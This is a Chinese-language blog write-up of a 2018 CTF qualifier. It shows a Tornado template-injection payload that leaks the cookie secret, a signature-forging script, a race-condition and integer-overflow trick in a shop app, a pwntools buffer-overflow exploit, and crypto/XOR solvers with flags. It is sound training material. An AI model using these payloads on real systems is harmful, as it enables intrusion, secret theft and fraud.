V0W's Blog

护网杯预选赛 WP

字数统计: 1,370阅读时长: 6 min
2018/10/13 Share

WEB

easy tornado

mark

打开链接是几个文件的列表:

分别打开,关注url和内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://49.4.79.198:31809/file?filename=Orz.txt&signature=0434ba1fadd43ce31661c315fbb8a9c6

Orz.txt
render()

http://49.4.79.198:31809/file?filename=hint.txt&signature=78423a4ae34f2a6e9088a35ef650af22


hint.txt
md5(cookie_secret + md5(filename))

http://49.4.79.198:31809/file?filename=flag.txt&signature=dbc862f7ca4cd3dd4ba82c6e7ff6d6af


flag.txt
/fllllllllllag

容易看出来,读文件的url就是,filename=(想读的文件名)加上一个签名,

而签名是md5(cookie_secret + md5(filename))

问题就在于cookie_secret是什么。

又看到Orz.txt里面有提示 render(),这个是生成模板的函数,于是想到模板注入STTI。

在读取文件失败的这个链接中,发现STTI漏洞

1
http://49.4.79.198:31809/error?msg=xxxx

mark

但是发现有过滤,测试一下发现,过滤的特殊字符有:

1
"%'()*-/=[\]_|

结合Tornado框架,想到的是

在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,具体定义可以参考Tornado官方文档

这里我想将的是Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象!

于是payload为:

1
http://49.4.79.198:31809/error?msg={{handler.settings}}

mark

得到cookie_secret,利用这个cookie_secret,可以写脚本,来获得相应文件的签名值。

1
2
3
4
5
6
7
8
9
10
11
12
import hashlib

cookie_secret=r'WhzKS{Z.*~k)L@XEt3UT%GB04(NAV[l1ojuD!-?]2Hg<rx}QmnCOpJ9+c8>&qI6s'

def md5(code):
temp = hashlib.md5(str(code)).hexdigest()
return temp
filename = '/fllllllllllag'
res = md5(cookie_secret + md5(filename))
print res

# 89e9876bc11ab55dcf9e68d3a8877ae6

mark

ltshop

注册账号,进入系统,发现我们有¥20

mark

看一下要求

mark

  1. ¥5一包辣条
  2. 5包辣条换一包辣条王
  3. 9999999包辣条王换flag

看到第三个要求,很容易想到不是常规解法,可能会用到溢出

但是问题在于就算是溢出,我们也应该至少能换一个辣条之王才行,但是我们只有20元,只能买4包辣条,一个辣条之王也换不了。

这里算是纠结了一下,最后想到利用条件竞争,试验发现一个账户的两个登陆同时买辣条,只会扣一次钱,却会得到两个辣条。利用burpsuite进行条件竞争:

这里多设置几个线程:

mark

看到已经购买到很多的辣条

mark

再看此时的账户,已经有足够的辣条了。

mark

下面考虑溢出:

int: 2**32-1 = 4294967295

long: 2**63 -1 = 9223372036854775807

longlong: 2**64-1 = 18446744073709551615

但是要注意一点,这个题的逻辑是,numer*5<最大值

所以,其临界值应该为18446744073709551615 / 5 == 3689348814741910323

于是尝试3689348814741910323+1 == 3689348814741910324

溢出后的值比较小,在辣条的数量之内,从而兑换成功。

mark

注意另一点,溢出的时候不能太大,因为太大导致溢出后的值过大而超过辣条的数量,出现这种情况

mark

此时的账户:

mark

再兑换flag,即可:

mark

PWN

gettingstart

用 IDA 打开程序:
mark
发现可以溢出 buf 从而修改掉 v7 和 v8 的值来通过验证,所以构造利用脚本:

1
2
3
4
5
6
7
8
9
from pwn import *

#p = process("./get")
p = remote("49.4.78.31",30482)
#gdb.attach(p)
p.recv()
payload = 'a' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()

得到 flag :flag{e47ba37e5e4fe4d6538f91955c63ef23}

Misc

迟来的签到题

easy xor???

提示xor,base64解码后异或

写个脚本爆破下

1
2
3
4
5
6
7
8
9
10
import base64

str=base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')

for n in range(30,126):
    flag=''
    for i in str:
        flag+= chr(ord(i)^n)
    if 'flag' in flag:
        print flag

Crypto

fez

fez.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)
def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)
    return new_l+new_r
def fez(m,K):
    for i in K:
        m=round(m,i)
    return m

K=[]
for i in range(7):
    K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))

test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
print fez(m,K).encode("hex")

fez.log

1
2
3
048d26224aae9f6be49f13202c0b173c2346909fcbba868d5d9b7431002957c5c01c546530f84e45b8a3892526401c007bca7d39b0b7
69d41820c61c7e8fb47fde8f09064f24af72dc6251e97e72bdc2d7c0b4696110ef84f30da6ac88b7059500f8e814cec9e9e13bcafad8
32e7094533a1e76ac8acdeb882c0d6965ca954d75dfd00e759b5aff9663f41d49ae70ee18fd3c067ad7ae577433ad2512b764f4b2eb2

Feistel加密方法,轮函数也是异或

这里给出了print出的值,所以知道

  1. test的值 记为test
  2. test加密的值 记为 testans
  3. flag加密的值 记为ans

test和用flag填充的m的长度都为54

加密使用的K值是不知道的,所以写不出解密函数,但可以通过给出的testansans异或使K消掉

记最后一轮flag加密后的为L7R7,test加密的为tL7tR7,初始test为tL0tR0

ai=tLi^Li=tRi+1^Ri+1^tLi+1^Li+1

而且Ri=Li+1

所以ai=ai+1^tLi+1^Li+1

最终得到L0和R0

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c

test='048d26224aae9f6be49f13202c0b173c2346909fcbba868d5d9b7431002957c5c01c546530f84e45b8a3892526401c007bca7d39b0b7'.decode('hex')
testans='69d41820c61c7e8fb47fde8f09064f24af72dc6251e97e72bdc2d7c0b4696110ef84f30da6ac88b7059500f8e814cec9e9e13bcafad8'.decode('hex')
ans='32e7094533a1e76ac8acdeb882c0d6965ca954d75dfd00e759b5aff9663f41d49ae70ee18fd3c067ad7ae577433ad2512b764f4b2eb2'.decode('hex')

tL7=testans[0:27]
tR7=testans[27:54]
L7=ans[0:27]
R7=ans[27:54]

tL0=test[27:54]
tR0=test[0:27]
# a6=tR7^R7^tL7^L7^tR1

# tL6^L6
a6=xor(xor(tR7,R7),xor(tL7,L7))

a5=xor(xor(tL7,L7),a6)

a4=xor(a6,a5)

a3=xor(a5,a4)

a2=xor(a4,a3)

a1=xor(a3,a2)

a0=xor(a2,a1)

L0=xor(tL0,a1)

R0=xor(tR0,a0)

print R0+L0

运行结果

1
2
λ python fez_exp.py
flag{festel_weak_666_lol88fj3820}叡↓泺y蝵:;铸醛o磋萸?

CATALOG
  1. 1. WEB
    1. 1.1. easy tornado
    2. 1.2. ltshop
  2. 2. PWN
    1. 2.1. gettingstart
  3. 3. Misc
    1. 3.1. 迟来的签到题
  4. 4. Crypto
    1. 4.1. fez